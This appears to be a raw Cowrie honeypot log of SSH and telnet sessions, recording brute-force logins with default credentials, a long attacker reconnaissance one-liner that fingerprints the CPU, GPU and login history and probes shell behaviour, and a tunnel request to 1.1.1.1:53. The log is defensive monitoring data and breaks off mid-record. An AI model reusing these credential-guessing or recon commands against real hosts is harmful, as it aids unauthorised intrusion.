{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:33.223379Z","src_ip":"176.53.159.196","session":"1b99eb123379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":105.71321487426758,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:36.489492Z","src_ip":"107.6.151.170","session":"accfb2fad66e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51508,"dst_ip":"10.17.0.5","dst_port":22,"session":"f46a061830e8","protocol":"ssh","message":"New connection: 51.250.105.222:51508 (10.17.0.5:22) [session: f46a061830e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:47.134529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:47.137061Z","src_ip":"51.250.105.222","session":"f46a061830e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:47.253797Z","src_ip":"51.250.105.222","session":"f46a061830e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:47.605316Z","src_ip":"51.250.105.222","session":"f46a061830e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:52:48.725083Z","src_ip":"51.250.105.222","session":"f46a061830e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:20.504071Z","src_ip":"89.223.69.22","session":"b2332592f019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":45802,"dst_ip":"10.17.0.5","dst_port":22,"session":"b29bbb207bd7","protocol":"ssh","message":"New connection: 91.92.40.176:45802 (10.17.0.5:22) [session: b29bbb207bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:34.395080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:34.399394Z","src_ip":"91.92.40.176","session":"b29bbb207bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:34.480458Z","src_ip":"91.92.40.176","session":"b29bbb207bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:34.729878Z","src_ip":"91.92.40.176","session":"b29bbb207bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:35.937920Z","src_ip":"91.92.40.176","session":"b29bbb207bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":38404,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba45e1ea5d0","protocol":"ssh","message":"New connection: 23.88.42.180:38404 (10.17.0.5:22) [session: 0ba45e1ea5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:45.395100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:45.397718Z","src_ip":"23.88.42.180","session":"0ba45e1ea5d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:45.491966Z","src_ip":"23.88.42.180","session":"0ba45e1ea5d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fet","password":"fet456","message":"login attempt [fet/fet456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:45.777659Z","src_ip":"23.88.42.180","session":"0ba45e1ea5d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:46.876529Z","src_ip":"23.88.42.180","session":"0ba45e1ea5d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":43532,"dst_ip":"10.17.0.5","dst_port":22,"session":"8378795be108","protocol":"ssh","message":"New connection: 91.92.40.10:43532 (10.17.0.5:22) [session: 8378795be108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:54.847734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:55.133070Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:55.151939Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:55.880381Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.550846Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E \"model name|Hardware\" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep \"Model name\"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.553743Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.556867Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.559690Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.562341Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.565518Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.568098Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.570600Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.573589Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.577080Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.580023Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","size":356,"shasum":"78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/78d97f76d4b2d07e5354bcb5f6b18fa874edb85af4d63cce3b3fa87c7270d880 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:56.807878Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:53:57.147439Z","src_ip":"91.92.40.10","session":"8378795be108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":34028,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3f6c6b29740","protocol":"ssh","message":"New connection: 176.53.159.196:34028 (10.17.0.5:22) [session: f3f6c6b29740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:39.506471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:39.510550Z","src_ip":"176.53.159.196","session":"f3f6c6b29740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:39.611082Z","src_ip":"176.53.159.196","session":"f3f6c6b29740","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:39.911024Z","src_ip":"176.53.159.196","session":"f3f6c6b29740","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.015649Z","session":"f3f6c6b29740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":52566,"dst_ip":"10.17.0.5","dst_port":22,"session":"7643a41f0318","protocol":"ssh","message":"New connection: 172.245.225.106:52566 (10.17.0.5:22) [session: 7643a41f0318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.027792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:54:40.031693Z","src_ip":"172.245.225.106","session":"7643a41f0318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman